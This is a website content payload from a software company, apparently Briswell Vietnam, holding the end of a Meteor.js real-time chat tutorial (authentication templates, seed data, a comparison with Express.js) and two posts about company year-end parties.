'\u002Fimports\u002Fapi\u002FChatsMethods';\n...\n",[612,22165,22163],{"__ignoreMap":66},[11,22167,22168],{},"Let's try sending a message now.",[438,22170],{"className":22171,"alt":66,"src":22172,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19161822\u002Fimg05.png",[11,22174,22175],{},[20,22176,22177],{},"Implementing Login, Register, and Logout Functions:",[11,22179,22180,22181,22186,22187,22192],{},"We will install the “",[20,22182,22183],{},[51,22184,22185],{},"accounts-password","” and “",[20,22188,22189],{},[51,22190,22191],{},"bcrypt","” packages:",[605,22194,22197],{"className":22195,"code":22196,"language":610},[608],"meteor add accounts-password\nmeteor npm install --save bcrypt\n",[612,22198,22196],{"__ignoreMap":66},[11,22200,21950,22201,22204,22205,22148],{},[20,22202,22203],{},"imports\u002Fui\u002FAuth","” folder, create an “",[20,22206,22207],{},"Auth.html",[605,22209,22212],{"className":22210,"code":22211,"language":610},[608],"\u003Ctemplate name=\"authContainer\">\n    {{> Template.dynamic template=currentView}}\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"loginContainer\">\n    \u003Cdiv class=\"auth-container\" >\n        \u003Ch2>Login\u003C\u002Fh2>\n        \u003Cform id=\"loginForm\">\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"username\">Username\u003C\u002Flabel>\n                \u003Cinput type=\"text\" id=\"username\" name=\"username\" required>\n            \u003C\u002Fdiv>\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"password\">Password\u003C\u002Flabel>\n                \u003Cinput type=\"password\" id=\"password\" name=\"password\" required>\n            \u003C\u002Fdiv>\n            \u003Cbutton type=\"submit\">Login\u003C\u002Fbutton>\n        \u003C\u002Fform>\n\n        \u003Cp>Don’t have an account yet?\n            \u003Cspan>Sign up\u003C\u002Fspan>\n        \u003C\u002Fp>\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"signupContainer\">\n    \u003Cdiv class=\"auth-container\" >\n        \u003Ch2>Sign up\u003C\u002Fh2>\n        \u003Cform id=\"signupForm\">\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"username\">Username\u003C\u002Flabel>\n                \u003Cinput type=\"text\" id=\"username\" name=\"username\" required>\n            \u003C\u002Fdiv>\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"password\">Password\u003C\u002Flabel>\n                \u003Cinput type=\"password\" id=\"password\" name=\"password\" required>\n            \u003C\u002Fdiv>\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"confirmPassword\">Confirm Password\u003C\u002Flabel>\n                \u003Cinput type=\"password\" id=\"rePassword\" name=\"confirmPassword\" required>\n            \u003C\u002Fdiv>\n            \u003Cbutton type=\"submit\">Sign up\u003C\u002Fbutton>\n        \u003C\u002Fform>\n\n        \u003Cp>Already have an account?\n            \u003Cspan>Login here\u003C\u002Fspan>\n        \u003C\u002Fp>\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[612,22213,22211],{"__ignoreMap":66},[11,22215,21950,22216,22204,22218,22148],{},[20,22217,22203],{},[20,22219,22220],{},"Auth.js",[605,22222,22225],{"className":22223,"code":22224,"language":610},[608],"import { Template } from \"meteor\u002Ftemplating\";\nimport \".\u002FAuth.html\";\n\nimport { ReactiveVar } from \"meteor\u002Freactive-var\";\n\ncurrentView = new ReactiveVar(\"loginContainer\");\n\nTemplate.authContainer.helpers({\n  currentView: function () {\n    return currentView.get();\n  },\n});\n\nTemplate.loginContainer.events({\n  \"click span\": function (e) {\n    e.preventDefault();\n    currentView.set(\"signupContainer\");\n  },\n  \"submit #loginForm\"(e) {\n    e.preventDefault();\n\n    const target = e.target;\n\n    const username = target.username.value;\n    const password = target.password.value;\n\n    Meteor.loginWithPassword(username, password, (err) => {\n      if (err) {\n        alert(err);\n      }\n    });\n  },\n});\n\nTemplate.signupContainer.events({\n  \"click span\": function (e) {\n    e.preventDefault();\n    currentView.set(\"loginContainer\");\n  },\n  \"submit #signupForm\"(e) {\n    e.preventDefault();\n\n    const target = e.target;\n\n    const username = target.username.value;\n    const password = target.password.value;\n    const confirmPassword = target.confirmPassword.value;\n\n    if (password !== confirmPassword) {\n      alert(\"Password do not match\");\n      return;\n    }\n\n    Accounts.createUser(\n      {\n        username,\n        password,\n      },\n      (err) => {\n        if (err) {\n          alert(err);\n        }\n      }\n    );\n  },\n});\n",[612,22226,22224],{"__ignoreMap":66},[11,22228,21950,22229,22232],{},[20,22230,22231],{},"imports\u002Fui\u002FChat\u002FChat.html","” file, we will check if the user is logged in and add a logout button:",[605,22234,22237],{"className":22235,"code":22236,"language":610},[608],"\u003Cbody>\n    {{#if isUserLogged}} {{> chatContainer}} {{else}} {{> authContainer}} {{\u002Fif}}\n\u003C\u002Fbody>\n\n...\n    \u003Cdiv class=\"chat-header\">\n        \u003Ch2>Simple Chat Meteor\u003C\u002Fh2>\n        \u003Cbutton id=\"logout\">Logout\u003C\u002Fbutton>\n    \u003C\u002Fdiv>\n...\n",[612,22238,22236],{"__ignoreMap":66},[11,22240,21950,22241,22243],{},[20,22242,22088],{},"” file, we will check if the user is logged in and handle the logout:",[605,22245,22248],{"className":22246,"code":22247,"language":610},[608],"import \"..\u002FAuth\u002FAuth.js\"\n...\nTemplate.body.helpers({\n  isUserLogged() {\n    return !!Meteor.userId() && !Meteor.loggingIn();\n  },\n});\n\nTemplate.body.events({\n  \"click #sendMessage\": function () {\n    const messageElement = document.querySelector(\"#message\");\n    if (messageElement.value.trim()) {\n      Meteor.call(\"chats.sendMessage\", messageElement.value.trim());\n      messageElement.value = \"\";\n    }\n  },\n  \"click #logout\": function () {\n    Meteor.logout();\n  },\n});\n",[612,22249,22247],{"__ignoreMap":66},[11,22251,21950,22252,22254,22255,22257,22258,16464],{},[20,22253,22100],{},"” file, check and add an “admin\" account if it doesn't exist, and add a “",[51,22256,22024],{},"\" for the default “",[51,22259,22260],{},"message",[605,22262,22265],{"className":22263,"code":22264,"language":610},[608],"import { Meteor } from \"meteor\u002Fmeteor\";\nimport '\u002Fimports\u002Fapi\u002FChatsMethods';\nimport '\u002Fimports\u002Fapi\u002FChatsPublications';\nimport { ChatsCollection } from \"\u002Fimports\u002Fapi\u002FChatsCollection\";\nimport { Accounts } from 'meteor\u002Faccounts-base';\n\nconst SEED_USERNAME = \"admin\";\nconst SEED_PASSWORD = \"admin\";\n\nMeteor.startup(() => {\n  if (!Accounts.findUserByUsername(SEED_USERNAME)) {\n    Accounts.createUser({\n      username: SEED_USERNAME,\n      password: SEED_PASSWORD,\n    });\n  }\n\n  const user = Accounts.findUserByUsername(SEED_USERNAME);\n\n  if (ChatsCollection.find().count() === 0) {\n    ChatsCollection.insert({\n      messageText: 'Welcome to the chat app!',\n      createdAt: new Date(),\n      username: user.username,\n    });\n  }\n});\n",[612,22266,22264],{"__ignoreMap":66},[11,22268,22269,22270,22273,22274,22277,22278,22045],{},"Similarly, add a “",[51,22271,22272],{},"username”"," for the “",[51,22275,22276],{},"sendMessage”"," method in the “",[20,22279,22280],{},"imports\u002Fapi\u002FChatsMethods.js",[605,22282,22285],{"className":22283,"code":22284,"language":610},[608],"import { Meteor } from 'meteor\u002Fmeteor';\nimport { ChatsCollection } from \".\u002FChatsCollection\";\n\nMeteor.methods({\n  'chats.sendMessage'(message) {\n    const username = Meteor.user()?.username;\n\n    ChatsCollection.insert({\n      messageText: message,\n      createdAt: new Date(),\n      username: username\n    });\n  }\n});\n",[612,22286,22284],{"__ignoreMap":66},[11,22288,22289],{},"Let's see the results now:",[438,22291],{"className":22292,"alt":66,"src":22293,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19172343\u002Fimg06.png",[11,22295,22296],{},[51,22297,22298],{},"Before logging in, the Login screen is displayed.",[438,22300],{"className":22301,"alt":66,"src":22302,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19172346\u002Fimg07.png",[11,22304,22305],{},[51,22306,22307],{},"The Sign-up screen.",[438,22309],{"className":22310,"alt":66,"src":22311,"style":444},[441,442,7107],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19172349\u002Fimg08.png",[395,22313,22315],{"id":22314},"comparing-with-expressjs","Comparing with Express.js",[565,22317,22319],{"id":22318},"scalability","Scalability",[31,22321,22322,22327],{},[34,22323,22324,22326],{},[20,22325,21790],{},": Offering a “model kit” with built-in features and components, Meteor.js makes the development process quicker and easier. However, this can limit customization and scalability in some large projects.",[34,22328,22329,22332],{},[20,22330,22331],{},"Express.js",": As a flexible framework, Express.js provides an environment that allows developers the freedom to build their application structure as desired, making it ideal for large and complex projects with high scalability requirements.",[565,22334,22336],{"id":22335},"real-time-communication","Real-Time Communication",[31,22338,22339,22344],{},[34,22340,22341,22343],{},[20,22342,21790],{},": Equipped with built-in real-time communication between client and server, it ensures data is updated instantly without needing to reload the page.",[34,22345,22346,22348],{},[20,22347,22331],{},": Achieving similar functionality requires integration with third-party libraries, adding to the development effort.",[565,22350,22352],{"id":22351},"database-integration","Database Integration",[31,22354,22355,22360],{},[34,22356,22357,22359],{},[20,22358,21790],{},": Tightly integrated with MongoDB and optimized for its use, making data management straightforward but limiting database choices.",[34,22361,22362,22364],{},[20,22363,22331],{},": Supports connection with a variety of databases, from MySQL to MongoDB, allowing flexibility based on project needs.",[565,22366,22368],{"id":22367},"community-and-ecosystem","Community and Ecosystem",[31,22370,22371,22376],{},[34,22372,22373,22375],{},[20,22374,21790],{},": Although the community is smaller, it still offers sufficient packages and tools to support development needs.",[34,22377,22378,22380],{},[20,22379,22331],{},": Has a large and diverse community with thousands of libraries and tools, providing many options to expand and enhance applications.",[565,22382,22384],{"id":22383},"development-speed-and-learning-difficulty","Development Speed and Learning Difficulty",[31,22386,22387,22392],{},[34,22388,22389,22391],{},[20,22390,21790],{},": Accelerates application development by integrating many functions, reducing configuration and management work. The learning path is relatively accessible and suitable for beginners.",[34,22393,22394,22396],{},[20,22395,22331],{},": Offers a flexible and highly customizable approach, which might take more time to set up but benefits long-term project development. Requires an understanding of Node.js and how to integrate middleware, suitable for experienced developers.",[395,22398,5257],{"id":5256},[11,22400,22401],{},"From the analysis above, it’s clear that Express.js and Meteor both have their distinct advantages and disadvantages, suitable for different types of projects and development needs:",[11,22403,22404,22406],{},[20,22405,22331],{}," is a good choice for projects requiring high customization and scalability. It’s especially suited for complex projects, diverse in database requirements, and demands a large ecosystem with many library and tool options.",[11,22408,22409,22410,22412],{},"Conversely, ",[20,22411,21790],{}," is the perfect choice for rapid and easy development, especially for real-time applications and small to medium projects that rely on MongoDB. It suits developers wanting to quickly deploy ideas without spending too much time on configuration and infrastructure management.",[11,22414,22415],{},"In summary, choosing between Express.js and Meteor depends on the specific requirements of the project, the skills, and experience of the development team, as well as the goals and timeline of the project. Both technologies have their unique strengths, and choosing the right technology will play a significant part in the project's success.",[395,22417,3866],{"id":3476},[11,22419,22420],{},[55,22421,22422],{"href":22422,"rel":22423},"https:\u002F\u002Fdocs.meteor.com",[59],[11,22425,22426],{},[55,22427,22428],{"href":22428,"rel":22429},"https:\u002F\u002Fwww.blazejs.org",[59],[11,22431,22432],{},[55,22433,22434],{"href":22434,"rel":22435},"https:\u002F\u002Fexpressjs.com",[59],{"title":66,"searchDepth":67,"depth":67,"links":22437},[22438,22439],{"id":21748,"depth":67,"text":21749},{"id":21783,"depth":67,"text":21784,"children":22440},[22441,22442,22443,22444,22445],{"id":22318,"depth":1306,"text":22319},{"id":22335,"depth":1306,"text":22336},{"id":22351,"depth":1306,"text":22352},{"id":22367,"depth":1306,"text":22368},{"id":22383,"depth":1306,"text":22384},"HOANG PHAN THANH","2025-03-31","Meteor (Meteor.js) is a JavaScript Full-Stack framework built on Node.js. It helps in developing web and mobile applications quickly and efficiently. With its design optimized for smooth integration between the client and server, Meteor not only simplifies the process of sharing code but also enhances the experience with real-time data. If you're looking for a quick app development solution or want to expand your knowledge of modern web technologies, this article will give you a comprehensive and deep understanding of Meteor.",{},"\u002Fnews\u002Fxay-dung-ung-dung-chat-realtime-voi-framework-meteor-js",{"title":21679,"description":22448},"news\u002Fxay-dung-ung-dung-chat-realtime-voi-framework-meteor-js","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002Fmeteor-logo-2.png","Br0UN4zQfnzgZsqMi-6WoTxJKoSbA9hbsNzO1R5jI5g",{"id":22456,"title":22457,"body":22458,"category":3032,"created by":70,"date":22531,"description":22532,"extension":72,"meta":22533,"navigation":74,"path":22534,"sections":76,"seo":22535,"stem":22536,"thumbnail":22537,"__hash__":22538},"content_en\u002Fnews\u002Fyear-end-party-2020-briswell-vietnam.md","YEAR END PARTY 2020 – BRISWELL VIET NAM",{"type":8,"value":22459,"toc":22529},[22460,22463,22466,22469,22473,22477,22481,22484,22488,22491,22495,22499,22503,22507,22511,22515,22519,22523,22526],[11,22461,22462],{},"Dear everybody,",[11,22464,22465],{},"Another year is about to pass, the new year is coming soon, have you made any plan to celebrate New Year's Eve?",[11,22467,22468],{},"Also on this occasion, the great Briswell Vietnam family held a small cozy year-end party to look back at what had been through an extraordinary year.",[438,22470],{"className":22471,"alt":66,"src":22472,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152650\u002F8054191C-167E-4B00-9B2E-3E2FED1E8302-1-2048x1536.jpg",[438,22474],{"className":22475,"alt":66,"src":22476,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152534\u002FC2BA8DD8-A527-4C7F-8A95-BD693D1FA782-2048x1536.jpg",[438,22478],{"className":22479,"alt":66,"src":22480,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152401\u002FC5BA29C7-9A88-4751-9357-9CDE0053B654-1024x751.jpg",[11,22482,22483],{},"This is also an opportunity for people to come together, share the little things of the old year, plans for the next year, exchange and talk happily after stressful working hours.",[438,22485],{"className":22486,"alt":66,"src":22487,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152216\u002FIMG_1215-1024x738.jpg",[11,22489,22490],{},"Moreover, everyone also participates in the game very enthusiastically, laughs happily, and most importantly receives meaningful and practical gifts from the company.",[438,22492],{"className":22493,"alt":66,"src":22494,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152240\u002FIMG_1186-1024x768.jpg",[438,22496],{"className":22497,"alt":66,"src":22498,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152141\u002FIMG_1240-1024x791.jpg",[438,22500],{"className":22501,"alt":66,"src":22502,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155339\u002FIMG_1248-1024x768.jpg",[438,22504],{"className":22505,"alt":66,"src":22506,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155434\u002FIMG_1257-1024x768.jpg",[438,22508],{"className":22509,"alt":66,"src":22510,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155518\u002FIMG_1263-1024x771.jpg",[438,22512],{"className":22513,"alt":66,"src":22514,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155543\u002FIMG_1279-1141x1536.jpg",[438,22516],{"className":22517,"alt":66,"src":22518,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155617\u002FIMG_1282-1208x1536.jpg",[438,22520],{"className":22521,"alt":66,"src":22522,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155758\u002FIMG_8590-1024x768.jpg",[11,22524,22525],{},"The new year is nearing, on behalf of the family of Briswell Vietnam, thank you for being and are staying with this house.",[11,22527,22528],{},"Wishing everyone a happy and wealthy new year; security, good health, and prosperity; all wishes come true.\\",{"title":66,"searchDepth":67,"depth":67,"links":22530},[],"2021-02-05","Dear everybody, Another year is about to pass, the new year is coming soon, have you made any plan to celebrate New Year's Eve? Also on this occasion, the great Briswell Vietnam family held a small cozy year-end party to look back at what had been through an extraordinary year.",{},"\u002Fnews\u002Fyear-end-party-2020-briswell-vietnam",{"title":22457,"description":22532},"news\u002Fyear-end-party-2020-briswell-vietnam","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05150944\u002FCover.png","Fs2LmkAnST6MW4tg4bDC3fLadfaeoJGQ4UV3k6nsw-Y",{"id":22540,"title":22541,"body":22542,"category":3032,"created by":70,"date":22667,"description":22546,"extension":72,"meta":22668,"navigation":74,"path":22669,"sections":76,"seo":22670,"stem":22671,"thumbnail":22672,"__hash__":22673},"content_en\u002Fnews\u002Fyear-end-party-2025.md","YEAR END PARTY 2025\"",{"type":8,"value":22543,"toc":22665},[22544,22547,22550,22553,22557,22562,22565,22569,22574,22577,22582,22586,22590,22594,22597,22601,22605,22609,22614,22617,22620,22624,22628,22632,22635,22639,22643,22647,22652,22655,22659,22662],[11,22545,22546],{},"A vibrant night filled with bright smiles and unforgettable moments – Briswell Vietnam’s Year End Party 2025 was held in a warm and energetic atmosphere. Let’s take a look back at some of the highlights from this special evening!",[11,22548,22549],{},"The event opened with heartfelt remarks from Mr. Kiyoshi Yamaguchi – Chairman of Briswell Vietnam. In his speech, he reflected on a year of great effort and shared his confidence and expectations for the continued growth of the Briswell Vietnam team in the time ahead.",[11,22551,22552],{},"On this occasion, Briswell Vietnam also prepared small gifts as a token of appreciation for Mr. Kiyoshi Yamaguchi and Mr. Kenji Uriu from Briswell Japan, who took the time to join us and share the joy of the celebration with the team.",[438,22554],{"className":22555,"alt":66,"src":22556,"style":444},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142440\u002FA3.jpg",[11,22558,22559],{},[51,22560,22561],{},"Mr. Kiyoshi Yamaguchi (center) and Mr. Kenji Uriu (right)",[11,22563,22564],{},"The evening officially kicked off as everyone raised their glasses together, marking the start of a lively and joyful celebration.",[438,22566],{"className":22567,"alt":66,"src":22568,"style":444},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142448\u002FA7.jpg",[11,22570,22571],{},[20,22572,22573],{},"Chill, connect, and enjoy the moment",[11,22575,22576],{},"Members enjoyed the dinner in a relaxed and cozy setting. Cheerful Tet music played in the background while conversations flowed, and glasses were raised again and again to celebrate a year of dedication and teamwork.",[438,22578],{"className":22579,"alt":66,"src":22581,"style":444},[441,442,22580],"mb-6","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142446\u002FA6.jpg",[438,22583],{"className":22584,"alt":66,"src":22585,"style":444},[441,442,22580],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142451\u002FA8.jpg",[438,22587],{"className":22588,"alt":66,"src":22589,"style":444},[441,442,22580],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142454\u002FA9.jpg",[438,22591],{"className":22592,"alt":66,"src":22593,"style":444},[441,442,22580],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142457\u002FA10.jpg",[11,22595,22596],{},"A “homegrown” mini concert also took place during the evening, as everyone took turns stepping onto the stage and delivering heartfelt performances.",[438,22598],{"className":22599,"alt":66,"src":22600,"style":444},[441,442,22580],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142442\u002FA4.jpg",[438,22602],{"className":22603,"alt":66,"src":22604,"style":444},[441,442,22580],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142517\u002FA17.jpg",[438,22606],{"className":22607,"alt":66,"src":22608,"style":444},[441,442,22580],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142523\u002FA19.jpg",[11,22610,22611],{},[20,22612,22613],{},"Lucky draw – excitement until the very end",[11,22615,22616],{},"This was one of the most anticipated parts of the program.",[11,22618,22619],{},"Whether big or small, every gift brought smiles, because the real joy came from sharing the moment together.",[438,22621],{"className":22622,"alt":66,"src":22623,"style":444},[441,442,22580],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142436\u002FA1.jpg",[438,22625],{"className":22626,"alt":66,"src":22627,"style":444},[441,442,22580],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142500\u002FA11.jpg",[438,22629],{"className":22630,"alt":66,"src":22631,"style":444},[441,442,22580],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142505\u002FA12.jpg",[11,22633,22634],{},"Mr. Yamaguchi also gave lucky money to members of Briswell Vietnam – a small but delightful surprise that filled the room with laughter and excitement.",[438,22636],{"className":22637,"alt":66,"src":22638,"style":444},[441,442,22580],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142508\u002FA13.jpg",[438,22640],{"className":22641,"alt":66,"src":22642,"style":444},[441,442,22580],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142511\u002FA14.jpg",[438,22644],{"className":22645,"alt":66,"src":22646,"style":444},[441,442,22580],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142513\u002FA15.jpg",[11,22648,22649],{},[20,22650,22651],{},"Wrapping up 2025 – Ready for 2026",[11,22653,22654],{},"Year End Party 2025 marked the closing of a year of hard work while bringing everyone together to celebrate what we have achieved.",[438,22656],{"className":22657,"alt":66,"src":22658,"style":444},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18142526\u002FA20.jpg",[11,22660,22661],{},"Thank you to all members of Briswell Vietnam for your dedication and support throughout the year.",[11,22663,22664],{},"Hello 2026 – we’re ready for you!",{"title":66,"searchDepth":67,"depth":67,"links":22666},[],"2026-05-05",{},"\u002Fnews\u002Fyear-end-party-2025",{"title":22541,"description":22546},"news\u002Fyear-end-party-2025","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F03\u002F18162519\u002FYear-end-party-2025.png","M_Swyv3eAGksr1oyA9QZcetbU5MQ_rQps6R8oblStfw",1784703339194]